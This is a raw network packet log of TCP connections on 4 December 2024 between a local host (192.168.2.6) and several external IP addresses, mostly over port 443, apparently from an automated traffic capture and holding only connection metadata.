Dec 4, 2024 16:15:58.118722916 CET	443	49852	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.118889093 CET	49852	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.119080067 CET	49852	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.119088888 CET	443	49852	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.320374012 CET	49721	80	192.168.2.6	164.92.191.86
Dec 4, 2024 16:15:58.440247059 CET	80	49721	164.92.191.86	192.168.2.6
Dec 4, 2024 16:15:58.495731115 CET	443	49848	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.495758057 CET	443	49848	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.495817900 CET	443	49848	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.495893002 CET	49848	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.495953083 CET	49848	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.496176958 CET	49848	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.496196985 CET	443	49848	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.496208906 CET	49848	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.496213913 CET	443	49848	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.499083042 CET	49853	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.499136925 CET	443	49853	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.499231100 CET	49853	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.499413013 CET	49853	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.499428988 CET	443	49853	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.596025944 CET	49854	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:58.596065044 CET	443	49854	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:58.596169949 CET	49854	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:58.596777916 CET	49854	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:15:58.596796036 CET	443	49854	20.198.119.84	192.168.2.6
Dec 4, 2024 16:15:58.738975048 CET	443	49849	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.739603043 CET	49849	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.739645958 CET	443	49849	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:58.740181923 CET	49849	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:58.740186930 CET	443	49849	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.088531971 CET	443	49850	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.089071989 CET	49850	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.089101076 CET	443	49850	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.089576006 CET	49850	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.089581013 CET	443	49850	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.175491095 CET	443	49849	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.175589085 CET	443	49849	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.175789118 CET	49849	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.175837994 CET	49849	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.175837994 CET	49849	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.175858974 CET	443	49849	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.175868988 CET	443	49849	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.178544998 CET	49855	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.178592920 CET	443	49855	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.178698063 CET	49855	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.178853035 CET	49855	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.178864956 CET	443	49855	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.534442902 CET	443	49850	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.534519911 CET	443	49850	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.534722090 CET	49850	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.534773111 CET	49850	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.534792900 CET	443	49850	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.534804106 CET	49850	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.534810066 CET	443	49850	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.537626028 CET	49856	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.537666082 CET	443	49856	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.537743092 CET	49856	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.537919044 CET	49856	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.537933111 CET	443	49856	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.709183931 CET	443	49851	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.709836006 CET	49851	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.709887028 CET	443	49851	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.710304022 CET	49851	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.710309982 CET	443	49851	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.835568905 CET	443	49852	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.836153030 CET	49852	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.836184978 CET	443	49852	13.107.246.43	192.168.2.6
Dec 4, 2024 16:15:59.836738110 CET	49852	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:15:59.836741924 CET	443	49852	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.150715113 CET	443	49851	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.150742054 CET	443	49851	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.150832891 CET	49851	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.150859118 CET	443	49851	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.151125908 CET	49851	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.151138067 CET	443	49851	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.151145935 CET	49851	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.151268005 CET	443	49851	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.151299000 CET	443	49851	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.151338100 CET	49851	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.153898001 CET	49857	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.153923988 CET	443	49857	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.153997898 CET	49857	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.154158115 CET	49857	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.154165030 CET	443	49857	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.216676950 CET	443	49853	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.217278004 CET	49853	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.217308044 CET	443	49853	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.217757940 CET	49853	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.217763901 CET	443	49853	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.308795929 CET	443	49852	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.308824062 CET	443	49852	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.308942080 CET	49852	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.308957100 CET	443	49852	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.309006929 CET	49852	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.309210062 CET	49852	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.309216022 CET	443	49852	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.309231997 CET	49852	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.309392929 CET	443	49852	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.309425116 CET	443	49852	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.309464931 CET	49852	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.311918974 CET	49858	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.311955929 CET	443	49858	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.312055111 CET	49858	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.312186003 CET	49858	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.312201023 CET	443	49858	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.665514946 CET	443	49853	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.665544987 CET	443	49853	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.665607929 CET	443	49853	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.665692091 CET	49853	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.665719032 CET	49853	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.665901899 CET	49853	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.665926933 CET	443	49853	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.665937901 CET	49853	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.665945053 CET	443	49853	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.668529987 CET	49859	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.668571949 CET	443	49859	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.668648005 CET	49859	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.668782949 CET	49859	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.668798923 CET	443	49859	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.842300892 CET	443	49854	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:00.842431068 CET	49854	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:00.843952894 CET	49854	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:00.843964100 CET	443	49854	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:00.844189882 CET	443	49854	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:00.845444918 CET	49854	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:00.845475912 CET	49854	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:00.845482111 CET	443	49854	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:00.845626116 CET	49854	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:00.887342930 CET	443	49854	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:00.907968044 CET	443	49855	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.908478022 CET	49855	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.908489943 CET	443	49855	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.908938885 CET	49855	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:00.908942938 CET	443	49855	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:00.940206051 CET	49860	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:00.940241098 CET	443	49860	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:00.940320969 CET	49860	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:00.940535069 CET	49860	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:00.940547943 CET	443	49860	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:01.259814024 CET	443	49856	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:01.260672092 CET	49856	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:01.260710001 CET	443	49856	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:01.261348009 CET	49856	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:01.261353970 CET	443	49856	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:01.349179029 CET	443	49855	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:01.352272987 CET	443	49855	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:01.352338076 CET	49855	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:01.352370024 CET	49855	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:01.352391005 CET	443	49855	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:01.352401018 CET	49855	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:01.352407932 CET	443	49855	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:01.355339050 CET	49861	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:01.355372906 CET	443	49861	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:01.355439901 CET	49861	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:01.355617046 CET	49861	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:01.355631113 CET	443	49861	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:01.390177011 CET	443	49854	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:01.390393972 CET	443	49854	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:01.390476942 CET	49854	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:01.390604019 CET	49854	443	192.168.2.6	20.198.119.84
Dec 4, 2024 16:16:01.390619993 CET	443	49854	20.198.119.84	192.168.2.6
Dec 4, 2024 16:16:01.708319902 CET	443	49856	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:01.713046074 CET	443	49856	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:01.713152885 CET	49856	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:01.713181973 CET	49856	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:01.713211060 CET	443	49856	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:01.713227987 CET	49856	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:01.713233948 CET	443	49856	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:01.715887070 CET	49862	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:01.715934038 CET	443	49862	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:01.716020107 CET	49862	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:01.716156006 CET	49862	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:01.716166019 CET	443	49862	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.044810057 CET	443	49858	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.045564890 CET	49858	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.045593023 CET	443	49858	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.046206951 CET	49858	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.046214104 CET	443	49858	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.330826998 CET	443	49860	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:02.331208944 CET	49860	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:02.331224918 CET	443	49860	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:02.331562042 CET	443	49860	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:02.331895113 CET	49860	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:02.331959963 CET	443	49860	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:02.332144976 CET	49860	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:02.375335932 CET	443	49860	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:02.393210888 CET	443	49859	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.394037962 CET	49859	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.394049883 CET	443	49859	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.394530058 CET	49859	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.394535065 CET	443	49859	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.483630896 CET	443	49858	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.486670971 CET	443	49858	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.486748934 CET	49858	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.486787081 CET	49858	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.486813068 CET	443	49858	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.486840963 CET	49858	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.486848116 CET	443	49858	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.489588976 CET	49863	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.489643097 CET	443	49863	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.489713907 CET	49863	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.489855051 CET	49863	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.489873886 CET	443	49863	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.827497959 CET	443	49859	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.831105947 CET	443	49859	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.831197977 CET	49859	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.831271887 CET	49859	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.831291914 CET	443	49859	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.831306934 CET	49859	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.831317902 CET	443	49859	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.835036993 CET	49864	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.835094929 CET	443	49864	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:02.835196018 CET	49864	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.835391045 CET	49864	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:02.835407972 CET	443	49864	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.090719938 CET	443	49861	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.091682911 CET	49861	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.091701984 CET	443	49861	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.092266083 CET	49861	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.092272043 CET	443	49861	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.254739046 CET	443	49860	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:03.254836082 CET	443	49860	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:03.254998922 CET	49860	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:03.255332947 CET	49860	443	192.168.2.6	164.92.191.86
Dec 4, 2024 16:16:03.255350113 CET	443	49860	164.92.191.86	192.168.2.6
Dec 4, 2024 16:16:03.448970079 CET	443	49862	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.449671030 CET	49862	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.449698925 CET	443	49862	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.450186968 CET	49862	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.450191975 CET	443	49862	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.527267933 CET	443	49861	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.530301094 CET	443	49861	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.530566931 CET	49861	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.530566931 CET	49861	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.530566931 CET	49861	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.534151077 CET	49865	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.534181118 CET	443	49865	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.534272909 CET	49865	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.534466028 CET	49865	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.534476995 CET	443	49865	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.837255955 CET	49861	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.837291956 CET	443	49861	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.883714914 CET	443	49862	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.887464046 CET	443	49862	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.887554884 CET	49862	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.892858028 CET	49862	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.892885923 CET	443	49862	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.892896891 CET	49862	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.892904043 CET	443	49862	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.896910906 CET	49866	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.896955013 CET	443	49866	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:03.897034883 CET	49866	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.897440910 CET	49866	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:03.897454977 CET	443	49866	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:04.209275007 CET	443	49863	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:04.209970951 CET	49863	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:04.209990025 CET	443	49863	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:04.210692883 CET	49863	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:04.210697889 CET	443	49863	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:04.565654993 CET	443	49864	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:04.566478014 CET	49864	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:04.566508055 CET	443	49864	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:04.567130089 CET	49864	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:04.567136049 CET	443	49864	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:04.643377066 CET	443	49863	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:04.650397062 CET	443	49863	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:04.650607109 CET	49863	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:04.650635958 CET	49863	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:04.650635958 CET	49863	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:04.650655031 CET	443	49863	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:04.650665045 CET	443	49863	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:04.654288054 CET	49867	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:04.654334068 CET	443	49867	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:04.654459000 CET	49867	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:04.654676914 CET	49867	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:04.654689074 CET	443	49867	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.000459909 CET	443	49864	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.003602982 CET	443	49864	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.003670931 CET	49864	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.003786087 CET	49864	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.003808022 CET	443	49864	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.003834963 CET	49864	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.003842115 CET	443	49864	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.007644892 CET	49869	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.007698059 CET	443	49869	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.007764101 CET	49869	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.007952929 CET	49869	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.007970095 CET	443	49869	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.248708963 CET	443	49865	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.249386072 CET	49865	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.249406099 CET	443	49865	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.249902010 CET	49865	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.249907017 CET	443	49865	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.620690107 CET	443	49866	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.621406078 CET	49866	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.621434927 CET	443	49866	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.621911049 CET	49866	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.621927023 CET	443	49866	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.684156895 CET	443	49865	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.687062025 CET	443	49865	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.687192917 CET	49865	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.687233925 CET	49865	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.687233925 CET	49865	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.687252998 CET	443	49865	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.687263966 CET	443	49865	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.690648079 CET	49870	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.690702915 CET	443	49870	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.690792084 CET	49870	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.690983057 CET	49870	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.690999031 CET	443	49870	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.814147949 CET	443	49857	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.814929008 CET	49857	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.814946890 CET	443	49857	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:05.815426111 CET	49857	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:05.815438032 CET	443	49857	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.055888891 CET	443	49866	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.058994055 CET	443	49866	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.059041977 CET	443	49866	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.059088945 CET	49866	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.059143066 CET	49866	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.059205055 CET	49866	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.059225082 CET	443	49866	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.059236050 CET	49866	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.059242010 CET	443	49866	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.062455893 CET	49871	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.062499046 CET	443	49871	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.062581062 CET	49871	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.062757969 CET	49871	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.062769890 CET	443	49871	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.248465061 CET	443	49857	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.252152920 CET	443	49857	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.252222061 CET	49857	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.252285004 CET	49857	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.252295971 CET	443	49857	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.252306938 CET	49857	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.252311945 CET	443	49857	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.255848885 CET	49872	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.255882978 CET	443	49872	13.107.246.43	192.168.2.6
Dec 4, 2024 16:16:06.255949020 CET	49872	443	192.168.2.6	13.107.246.43
Dec 4, 2024 16:16:06.256148100 CET	49872	443	192.168.2.6	13.107.246.43
